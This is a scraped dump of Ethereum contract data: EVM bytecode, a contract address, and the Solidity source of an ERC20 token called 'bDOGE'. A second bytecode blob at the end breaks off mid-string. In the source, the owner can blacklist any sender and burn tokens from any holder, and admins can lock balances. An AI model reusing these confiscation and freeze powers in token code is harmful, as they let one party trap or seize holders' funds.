0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d610597565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105a1565b60405180821515815260200191505060405180910390f35b61023f61067a565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610691565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610744565b6040518082815260200191505060405180910390f35b61031c61078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082e565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108fb565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610919565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b600061058d610586610a28565b8484610a30565b6001905092915050565b6000600254905090565b60006105ae848484610c27565b61066f846105ba610a28565b61066a8560405180606001604052806028815260200161101960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610620610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b610a30565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600061073a61069e610a28565b8461073585600160006106af610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a090919063ffffffff16565b610a30565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b60006108f161083b610a28565b846108ec8560405180606001604052806025815260200161108a6025913960016000610865610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b610a30565b6001905092915050565b600061090f610908610a28565b8484610c27565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610a1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ab6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110666024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610fd16022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110416025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610fae6023913960400191505060405180910390fd5b610d3e838383610fa8565b610da981604051806060016040528060268152602001610ff3602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f5a578082015181840152602081019050610f3f565b50505050905090810190601f168015610f875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c2ce96f9fc4022637684b26f91a4340e5f410c449a4b64fa8682b33d2dbb7ca264736f6c634300060c0033
[ 38 ]
0xf2432f26703631febf5b1ffc8885e960f202e485
// SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract bDOGE is Context, IERC20 { using SafeMath for uint256; using Address for address; struct lockDetail{ uint256 amountToken; uint256 lockUntil; } mapping (address => uint256) private _balances; mapping (address => bool) private _blacklist; mapping (address => bool) private _isAdmin; mapping (address => lockDetail) private _lockInfo; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event PutToBlacklist(address indexed target, bool indexed status); event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil); constructor (string memory name, string memory symbol, uint256 amount) { _name = name; _symbol = symbol; _setupDecimals(18); address msgSender = _msgSender(); _owner = msgSender; _isAdmin[msgSender] = true; _mint(msgSender, amount); emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function isAdmin(address account) public view returns (bool) { return _isAdmin[account]; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyAdmin() { require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function getLockInfo(address account) public view returns (uint256, uint256) { lockDetail storage sys = _lockInfo[account]; if(block.timestamp > sys.lockUntil){ return (0,0); }else{ return ( sys.amountToken, sys.lockUntil ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) { _transfer(_msgSender(), recipient, amount); _wantLock(recipient, amount, lockUntil); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){ _wantLock(targetaddress, amount, lockUntil); return true; } function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){ _wantUnlock(targetaddress); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { lockDetail storage sys = _lockInfo[sender]; require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address "); _beforeTokenTransfer(sender, recipient, amount); if(sys.amountToken > 0){ if(block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); }else{ uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance"); _balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].add(sys.amountToken); _balances[recipient] = _balances[recipient].add(amount); } }else{ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances"); if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; } sys.lockUntil = unlockDate; sys.amountToken = sys.amountToken.add(amountLock); emit LockUntil(account, sys.amountToken, unlockDate); } function _wantUnlock(address account) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); sys.lockUntil = 0; sys.amountToken = 0; emit LockUntil(account, 0, 0); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860